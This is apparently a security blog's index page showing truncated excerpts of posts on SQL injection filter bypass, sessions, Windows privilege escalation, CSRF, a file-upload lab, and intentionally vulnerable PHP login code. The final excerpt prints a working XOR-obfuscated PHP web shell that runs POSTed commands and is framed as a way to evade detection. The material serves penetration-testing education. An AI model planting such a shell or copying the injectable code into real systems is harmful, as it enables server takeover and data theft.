Freaks City

Bypassing Input Filters During manual SQL injection testing, web applications often implement strict input validation that filters critical characters such as spaces and the equals sign (=). To successfully exploit such vulnerabilities, an attacker must obfuscate the payload to bypass these rules. Inline comments (/**/) serve as an effectiev su ...

Cookies Cookies are key-value pairs stored by the browser on the client side. When a server sends a Set-Cookie header in an HTTP response, the browser saves it locally and includes it in subsequent requests to the same domain. Browsers enforce limits on cookie size and quantity per domain to prevent abuse and excessive disk usage. Sessions Sess ...

Introduction to Web Application Security TestingWeb applications have become integral to modern business operations, spanning from government portals to financial services and social platforms. This ubiquity makes them attractive targets for malicious actors seeking to exploit vulnerabilities for data theft or service disruption. Organizations ...

Low Security Level The authentication endpoint lacks both input validation and rate-limiting mechanisms. Credentials transmit via insecure GET requests and concatenate directly into SQL queries without sanitization. <?php if (isset($_GET['Login'])) { $input_user = $_GET['username']; $input_pass = $_GET['password']; $hash_pass = m ...

Project Overview This tutorial demonstrates how to implement an authentication mechanism using Java Servlets and HttpSession. The objective is to ensure that a user logs in once and gains access to protected resources within the same session. If a user attempts to access a protected resource without an active session, they are redirected to the ...

Windows privilege escalation focuses on two primary scenarios: elevating from web server permissions to system-level access, and elevating from a local standard user account to administrative or SYSTEM privileges. Windows User and Group Permission Model Windows includes multiple built-in local user groups with predefined permisions: Administra ...

Local Vulnerability Lab ConfigurationTesting exploit techniques against production infrastructure is illegal and unethical. To safely analyze file upload vulnerabilities, a localized sandbox environment is required. Using a lightweight cloud instance with Docker ensures rapid deployment without environmental conflicts.docker pull squ1rrel/vulne ...

SQL injection represents the most critical risk in web application security, often resulting in full compromise of backend data stores. Modern web applications rely on databases to store user accounts, preferences, content, and nearly all persistant information. Instead of generating static pages for each user, server-side scripts construct dyn ...

CSRF (Cross-Site Request Forgery) attacks force authenticated users to submit unintended requests to web applications where they maintain active sessions. Unlike XSS attacks that steal credentials, CSRF exploits the trust relationship between the browser and the server. When a user authenticates, the server establishes a session stored in brows ...

PHP Web Shell Using XOR Operation The following demonstrates a PHP web shell that uses XOR operation to bypass detetcion: <?php $xor_result = ('!' ^ '@') . 'ssert'; $xor_result($_POST[cmd]); ?> ASCII Character Conversion Principle The technique works by converting ASCII characters to theirr binary representations, performing XOR, then c ...